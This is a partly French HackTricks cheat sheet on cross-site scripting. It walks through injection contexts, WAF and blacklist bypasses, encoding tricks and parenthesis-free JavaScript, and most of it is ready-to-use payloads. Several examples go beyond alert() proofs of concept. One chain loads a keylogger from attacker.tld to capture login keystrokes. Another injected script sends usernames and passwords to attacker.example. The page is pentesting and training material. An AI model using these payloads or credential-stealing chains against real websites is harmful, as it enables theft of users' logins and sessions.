%.*s
XSS (Cross Site Scripting)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Méthodologie
- Vérifiez si toute valeur que vous contrôlez (parameters, path, headers?, cookies?) est réfléchie dans le HTML ou utilisée par du JS.
- Déterminez le contexte où elle est réfléchie/utilisée.
- Si réfléchie
- Vérifiez quels symboles vous pouvez utiliser et en fonction de cela, préparez le payload :
- Dans le HTML brut :
- Pouvez-vous créer de nouvelles balises HTML ?
- Pouvez-vous utiliser des events ou attributes supportant le protocole
javascript:? - Pouvez-vous bypasser les protections ?
- Le contenu HTML est-il interprété par un moteur JS côté client (AngularJS, VueJS, Mavo…) ? Vous pourriez abuser d’une Client Side Template Injection.
- Si vous ne pouvez pas créer de balises HTML qui exécutent du JS, pouvez-vous abuser d’un Dangling Markup - HTML scriptless injection?
- À l’intérieur d’une balise HTML :
- Pouvez-vous sortir vers le contexte HTML brut ?
- Pouvez-vous créer de nouveaux events/attributes pour exécuter du code JS ?
- L’attribut où vous êtes piégé supporte-t-il l’exécution JS ?
- Pouvez-vous bypasser les protections ?
- À l’intérieur de code JavaScript :
- Pouvez-vous échapper la balise
<script>? - Pouvez-vous échapper la chaîne et exécuter un autre code JS ?
- Votre input est-il dans des template literals `` ?
- Pouvez-vous bypasser les protections ?
- Fonction Javascript en cours d’exécution
- Vous pouvez indiquer le nom de la fonction à exécuter. ex :
?callback=alert(1) - Si utilisé :
- Vous pourriez exploiter un DOM XSS, faites attention à la façon dont votre input est contrôlé et si votre input contrôlé est utilisé par un sink.
Quand vous travaillez sur un XSS complexe, il peut être utile de consulter :
Valeurs reflétées
Pour exploiter correctement un XSS la première chose à trouver est une valeur contrôlée par vous qui est réfléchie dans la page web.
- Réfléchie de façon immédiate : Si vous trouvez que la valeur d’un paramètre ou même du path est reflétée dans la page web vous pourriez exploiter un Reflected XSS.
- Stockée et reflétée : Si vous trouvez qu’une valeur contrôlée par vous est sauvegardée sur le serveur et est reflétée à chaque accès d’une page vous pourriez exploiter un Stored XSS.
- Accédée via JS : Si vous trouvez qu’une valeur contrôlée par vous est accédée via JS vous pourriez exploiter un DOM XSS.
Contextes
Quand vous essayez d’exploiter un XSS la première chose à savoir est où votre input est réfléchi. Selon le contexte, vous pourrez exécuter du code JS arbitraire de différentes façons.
HTML brut
Si votre input est reflété dans le HTML brut de la page vous devrez abuser d’une balise HTML afin d’exécuter du code JS : <img , <iframe , <svg , <script … ce ne sont que quelques-unes des nombreuses balises HTML possibles.
Pensez aussi à Client Side Template Injection.
À l’intérieur des attributs d’une balise HTML
Si votre input est reflété à l’intérieur de la valeur d’un attribut d’une balise vous pouvez essayer :
- De sortir de l’attribut et de la balise (vous serez alors dans le HTML brut) et créer une nouvelle balise HTML à abuser :
"><img [...] - Si vous pouvez sortir de l’attribut mais pas de la balise (
>est encodé ou supprimé), selon la balise vous pourriez créer un event qui exécute du code JS :" autofocus onfocus=alert(1) x=" - Si vous ne pouvez pas sortir de l’attribut (
"est encodé ou supprimé), alors selon quel attribut contient votre valeur et si vous contrôlez toute la valeur ou seulement une partie, vous pourrez l’abuser. Par exemple, si vous contrôlez un event commeonclick=vous pourrez le faire exécuter du code arbitraire lorsqu’il est cliqué. Un autre exemple intéressant est l’attributhref, où vous pouvez utiliser le protocolejavascript:pour exécuter du code arbitraire :href="javascript:alert(1)" - Si votre input est reflété dans des “balises inexploitable” vous pouvez essayer l’astuce
accesskeypour abuser de la vuln (il faudra un peu de social engineering pour exploiter) :" accesskey="x" onclick="alert(1)" x="
Attribute-only login XSS behind WAFs
Une page de login SSO d’entreprise reflétait le paramètre OAuth service à l’intérieur de l’attribut href de <a id="forgot_btn" ...>. Même si < et > étaient encodés en HTML, les guillemets doubles ne l’étaient pas, donc l’attaquant pouvait fermer l’attribut et réutiliser le même élément pour injecter des handlers tels que " onfocus="payload" x=".
- Injecter le handler : Des payloads simples comme
onclick="print(1)"étaient bloqués, mais le WAF n’inspectait que la première instruction JavaScript dans les attributs inline. Préfixer par une expression inoffensive entre parenthèses, puis un point-virgule, a permis au vrai payload de s’exécuter :onfocus="(history.length);malicious_code_here". - Le déclencher automatiquement : Les navigateurs focusent tout élément dont l’
idcorrespond au fragment, donc ajouter#forgot_btnà l’URL d’exploit force l’anchor à recevoir le focus au chargement et exécute le handler sans clic. - Garder le stub inline petit : La cible embarquait déjà jQuery. Le handler avait juste besoin d’amorcer une requête via
$.getScript(...)tandis que le keylogger complet vivait sur le serveur de l’attaquant.
Construire des chaînes sans guillemets
Les single quotes étaient renvoyées encodées en URL et les guillemets doubles échappés corrompaient l’attribut, donc le payload générait chaque chaîne avec String.fromCharCode. Une fonction utilitaire facilite la conversion de n’importe quelle URL en codes char avant de la coller dans l’attribut :
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
Un attribut résultant ressemblait à :
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
Pourquoi ceci vole des credentials
Le script externe (loaded from an attacker-controlled host or Burp Collaborator) a hooké document.onkeypress, a mis en mémoire tampon les frappes, et chaque seconde a exécuté new Image().src = collaborator_url + keys. Comme le XSS ne se déclenche que pour les utilisateurs non authentifiés, l’action sensible est le formulaire de login lui‑même — l’attaquant keylogs usernames and passwords même si la victime n’appuie jamais sur “Login”.
Exemple étrange d’Angular exécutant du XSS si vous contrôlez un nom de classe :
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Dans le code JavaScript
Dans ce cas votre input est reflété entre les balises <script> [...] </script> d’une page HTML, à l’intérieur d’un fichier .js ou dans un attribut utilisant le protocole javascript: :
- Si reflétée entre
<script> [...] </script>tags, même si votre input est à l’intérieur de n’importe quel type de guillemets, vous pouvez essayer d’injecter</script>et sortir de ce contexte. Cela fonctionne parce que le navigateur analysera d’abord les balises HTML puis le contenu, par conséquent, il ne remarquera pas que votre balise injectée</script>est à l’intérieur du code HTML. - Si reflétée inside a JS string et que la dernière astuce ne fonctionne pas, vous devrez sortir de la string, exécuter votre code et reconstruire le code JS (s’il y a la moindre erreur, il ne sera pas exécuté:
'-alert(1)-'';-alert(1)//\';alert(1)//- Si reflétée à l’intérieur de template literals vous pouvez embed JS expressions en utilisant la syntaxe
${ ... }:var greetings = `Hello, ${alert(1)}` - L’encodage Unicode fonctionne pour écrire du code javascript valide:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting fait référence à la possibilité de déclarer des fonctions, variables ou classes après qu’elles sont utilisées afin d’abuser de scénarios où un XSS utilise des variables ou fonctions non déclarées.
Consultez la page suivante pour plus d’infos :
Javascript Fonction
Plusieurs pages web ont des endpoints qui acceptent en paramètre le nom de la fonction à exécuter. Un exemple courant que l’on voit sur le terrain est quelque chose comme : ?callback=callbackFunc.
Un bon moyen de savoir si quelque chose fourni directement par l’utilisateur est tenté d’être exécuté est de modifier la valeur du paramètre (par exemple en ‘Vulnerable’) et de regarder la console pour des erreurs comme :
.png)
Dans le cas où c’est vulnérable, vous pourriez être capable de déclencher une alert simplement en envoyant la valeur : ?callback=alert(1). Cependant, il est très courant que ces endpoints valident le contenu pour n’autoriser que les lettres, chiffres, points et underscores ([\w\._]).
Cependant, même avec cette limitation il est toujours possible d’effectuer certaines actions. C’est parce que vous pouvez utiliser ces caractères valides pour accéder à n’importe quel élément du DOM :
.png)
Quelques fonctions utiles pour cela :
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Vous pouvez aussi essayer de déclencher directement des fonctions Javascript : obj.sales.delOrders.
Cependant, généralement les endpoints exécutant la fonction indiquée sont des endpoints sans un DOM très intéressant, d’autres pages dans la même origine auront un DOM plus intéressant pour effectuer davantage d’actions.
Par conséquent, afin d’abuser de cette vulnérabilité dans un DOM différent l’exploitation Same Origin Method Execution (SOME) a été développée :
SOME - Same Origin Method Execution
DOM
Il existe du JS code qui utilise de façon non sécurisée des données contrôlées par un attaquant comme location.href. Un attaquant pourrait en abuser pour exécuter du code JS arbitraire.
Universal XSS
Ce type de XSS peut être trouvé n’importe où. Ils ne dépendent pas seulement de l’exploitation côté client d’une application web mais de tout contexte. Ce type d’exécution JavaScript arbitraire peut même être abusé pour obtenir une RCE, lire des fichiers arbitraires sur les clients et serveurs, et plus encore.
Quelques exemples :
WAF bypass encoding image
.jpg)
Injection dans du HTML brut
Lorsque votre entrée est reflétée à l’intérieur de la page HTML ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la première chose à faire est de vérifier si vous pouvez abuser de < pour créer de nouvelles balises : essayez simplement de refléter ce caractère et vérifiez s’il est encodé en HTML, supprimé ou s’il est reflété sans modifications. Seulement dans ce dernier cas vous pourrez exploiter cette situation.
Pour ces cas, gardez aussi à l’esprit Client Side Template Injection.
Note : Un commentaire HTML peut être fermé en utilisant****-->****ou **--!>**
Dans ce cas et si aucune black/whitelisting n’est utilisée, vous pouvez utiliser des payloads comme:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Cependant, si un black/whitelisting des tags/attributes est utilisé, vous devrez brute-force which tags que vous pouvez créer.
Une fois que vous avez located which tags are allowed, vous devrez brute-force attributes/events à l’intérieur des tags valides trouvés pour voir comment vous pouvez attaquer le contexte.
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
Custom tags
If you didn’t find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Si une blacklist est utilisée, vous pouvez essayer de la contourner avec quelques astuces simples :
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Contournement de longueur (small XSSs)
[!NOTE] > More tiny XSS for different environments payload peut être trouvé ici et ici.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
Le dernier en utilise 2 caractères unicode qui s’étendent en 5 : telsr
More of these characters can be found here.
Pour vérifier en quels caractères ils se décomposent, vérifiez here.
Click XSS - Clickjacking
Si, pour exploiter la vulnérabilité, vous avez besoin que l’user to click a link or a form avec des données préremplies, vous pouvez essayer de abuse Clickjacking (si la page est vulnérable).
Impossible - Dangling Markup
Si vous pensez simplement qu’il est impossible de créer une balise HTML avec un attribut pour exécuter du code JS, vous devriez consulter Danglig Markup car vous pourriez exploit la vulnérabilité without exécuter du JS code.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
Si vous êtes inside a HTML tag, la première chose que vous pouvez essayer est de escape de la balise et d’utiliser certaines des techniques mentionnées dans la previous section pour exécuter du code JS.
Si vous cannot escape from the tag, vous pouvez créer de nouveaux attributs à l’intérieur de la balise pour tenter d’exécuter du code JS, par exemple en utilisant un payload comme (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Événements de style
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Dans l’attribut
Même si vous ne pouvez pas sortir de l’attribut (" est encodé ou supprimé), selon dans quel attribut votre valeur est reflétée et si vous contrôlez toute la valeur ou juste une partie vous pourrez en abuser. Par exemple, si vous contrôlez un événement comme onclick= vous pourrez faire exécuter du code arbitraire lorsqu’il est cliqué.
Un autre exemple intéressant est l’attribut href, où vous pouvez utiliser le protocole javascript: pour exécuter du code arbitraire : href="javascript:alert(1)"
Bypass à l’intérieur de l’événement en utilisant l’encodage HTML/URL encode
Les caractères encodés en HTML à l’intérieur de la valeur des attributs des balises HTML sont décodés à l’exécution. Par conséquent, quelque chose comme ce qui suit sera valide (la payload est en gras) : <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Notez que tout type d’encodage HTML est valide:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Notez que URL encode fonctionnera également :
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass dans l’event en utilisant Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Protocoles spéciaux dans l’attribut
Là, vous pouvez utiliser les protocoles javascript: ou data: dans certains emplacements pour exécuter du code JS arbitraire. Certains nécessiteront une interaction utilisateur, d’autres non.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Endroits où vous pouvez injecter ces protocoles
En général le protocole javascript: peut être utilisé dans n’importe quelle balise qui accepte l’attribut href et dans la plupart des balises qui acceptent l’attribut src (mais pas <img>)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Autres astuces d’obfuscation
Dans ce cas, le HTML encoding et le Unicode encoding trick de la section précédente sont également valides car vous êtes à l’intérieur d’un attribut.
<a href="javascript:var a=''-alert(1)-''">
De plus, il existe une autre astuce pratique pour ces cas : Même si votre entrée à l’intérieur de javascript:... est URL encoded, elle sera URL decoded avant d’être exécutée. Donc, si vous devez escape de la string en utilisant une single quote et que vous voyez qu’elle est URL encoded, souvenez-vous que cela n’a pas d’importance, elle sera interprétée comme une single quote au moment de l’exécution.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Notez que si vous essayez d’utiliser les deux URLencode + HTMLencode dans n’importe quel ordre pour encoder le payload, cela ne fonctionnera pas, mais vous pouvez les mélanger à l’intérieur du payload.
Utiliser Hex and Octal encode avec javascript:
Vous pouvez utiliser Hex et Octal encode à l’intérieur de l’attribut src de iframe (au moins) pour déclarer des balises HTML pour exécuter du JS :
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Si vous pouvez injecter n’importe quelle URL dans une balise arbitraire <a href= qui contient les attributs target="_blank" and rel="opener", consultez la page suivante pour exploiter ce comportement :
Contournement des on event handlers
Commencez par consulter cette page (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) pour des “on” event handlers utiles.
Si une blacklist vous empêche de créer ces on event handlers, vous pouvez essayer les contournements suivants :
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS dans “Unexploitable tags” (hidden input, link, canonical, meta)
From here il est maintenant possible d’abuser des hidden inputs avec :
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
Et dans les meta tags :
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
D’après here: Vous pouvez exécuter un XSS payload dans un attribut hidden, à condition de persuader la victim d’appuyer sur la combinaison de touches. Sur Firefox Windows/Linux la combinaison est ALT+SHIFT+X et sur OS X elle est CTRL+ALT+X. Vous pouvez spécifier une autre combinaison en utilisant une autre touche dans l’attribut accesskey. Voici le vecteur:
<input type="hidden" accesskey="X" onclick="alert(1)">
Le payload XSS sera quelque chose comme ceci : " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Plusieurs astuces utilisant différents encodages ont déjà été présentées dans cette section. Revenez en arrière pour apprendre où vous pouvez utiliser :
- HTML encoding (HTML tags)
- Unicode encoding (peut être du code JS valide):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Lisez la Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Lisez la JavaScript bypass blacklist of the following section.
CSS-Gadgets
Si vous trouvez un XSS dans une partie très petite du site qui nécessite une forme d’interaction (peut‑être un petit lien dans le footer avec un onmouseover), vous pouvez essayer de modifier l’espace occupé par cet élément pour maximiser les probabilités que le lien soit déclenché.
Par exemple, vous pouvez ajouter du style à l’élément comme : position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Mais si le WAF filtre l’attribut style, vous pouvez utiliser des CSS Styling Gadgets ; si vous trouvez, par exemple
.test {display:block; color: blue; width: 100%}
et
#someid {top: 0; font-family: Tahoma;}
Vous pouvez maintenant modifier notre lien et le transformer en
<a href=“” id=someid class=test onclick=alert() a=“”>
Cette astuce provient de https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
Dans ce cas, votre input sera reflété à l’intérieur du code JS d’un fichier .js ou entre des balises <script>...</script>, ou dans des événements HTML qui peuvent exécuter du code JS, ou entre des attributs qui acceptent le protocole javascript:.
Échapper la balise <script>
Si votre code est inséré dans <script> [...] var input = 'reflected data' [...] </script> vous pouvez facilement échaper la fermeture de la balise <script> :
</script><img src=1 onerror=alert(document.domain)>
Notez que dans cet exemple nous n’avons même pas fermé le guillemet simple. Ceci est parce que l’analyse HTML est effectuée en premier par le navigateur, ce qui implique l’identification des éléments de la page, y compris les blocs de script. L’analyse du JavaScript pour comprendre et exécuter les scripts embarqués n’est effectuée qu’ensuite.
Dans le code JS
Si <> sont filtrés vous pouvez quand même échapper la chaîne là où votre entrée est placée et exécuter du JS arbitraire. Il est important de corriger la syntaxe JS, car s’il y a des erreurs, le code JS ne sera pas exécuté :
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Quand une entrée utilisateur est insérée à l’intérieur d’une chaîne JavaScript entre guillemets (par ex., echo côté serveur dans un script inline), vous pouvez terminer la chaîne, injecter du code et réparer la syntaxe pour que l’analyse reste valide. Squelette générique :
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Exemple de modèle d’URL lorsque le paramètre vulnérable est reflété dans une chaîne JS :
?param=test";<INJECTION>;a="
Ceci exécute du JS contrôlé par l’attaquant sans avoir besoin de toucher le contexte HTML (pur JS-in-JS). Combinez avec blacklist bypasses ci-dessous lorsque des filtres bloquent des mots-clés.
Template literals ``
In order to construct strings apart from single and double quotes JS also accepts backticks `` . This is known as template literals as they allow to embedded JS expressions using ${ ... } syntax.
Ainsi, si vous constatez que votre entrée est reflected à l’intérieur d’une JS string qui utilise des backticks, vous pouvez abuser de la syntaxe ${ ... } pour exécuter du arbitrary JS code:
Ceci peut être abusé en utilisant:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Exécution de code encodé
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Deliverable payloads avec eval(atob()) et nuances de scope
Pour raccourcir les URLs et contourner des filtres de mots-clés naïfs, vous pouvez encoder en base64 votre logique réelle et l’évaluer avec eval(atob('...')). Si un filtrage simple par mots-clés bloque des identifiants comme alert, eval, ou atob, utilisez des identifiants échappés en Unicode qui compilent de façon identique dans le navigateur mais échappent aux filtres par correspondance de chaînes :
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Nuance importante de portée : const/let déclarés à l’intérieur de eval() sont limités au bloc et ne créent PAS de variables globales ; ils ne seront pas accessibles aux scripts ultérieurs. Utilisez un élément <script> injecté dynamiquement pour définir des hooks globaux non réaffectables quand nécessaire (par ex., pour détourner un gestionnaire de formulaire) :
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Encodage Unicode pour exécution JS
alert(1)
alert(1)
alert(1)
Techniques de bypass des blacklists en JavaScript
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Échappements spéciaux
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Substitutions d’espaces dans le code JS
<TAB>
/**/
Commentaires JavaScript (tirés de JavaScript Comments astuce)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript sauts de ligne (tiré de JavaScript new line astuce)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
Espaces blancs en JavaScript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript à l’intérieur d’un commentaire
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript sans parenthèses
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
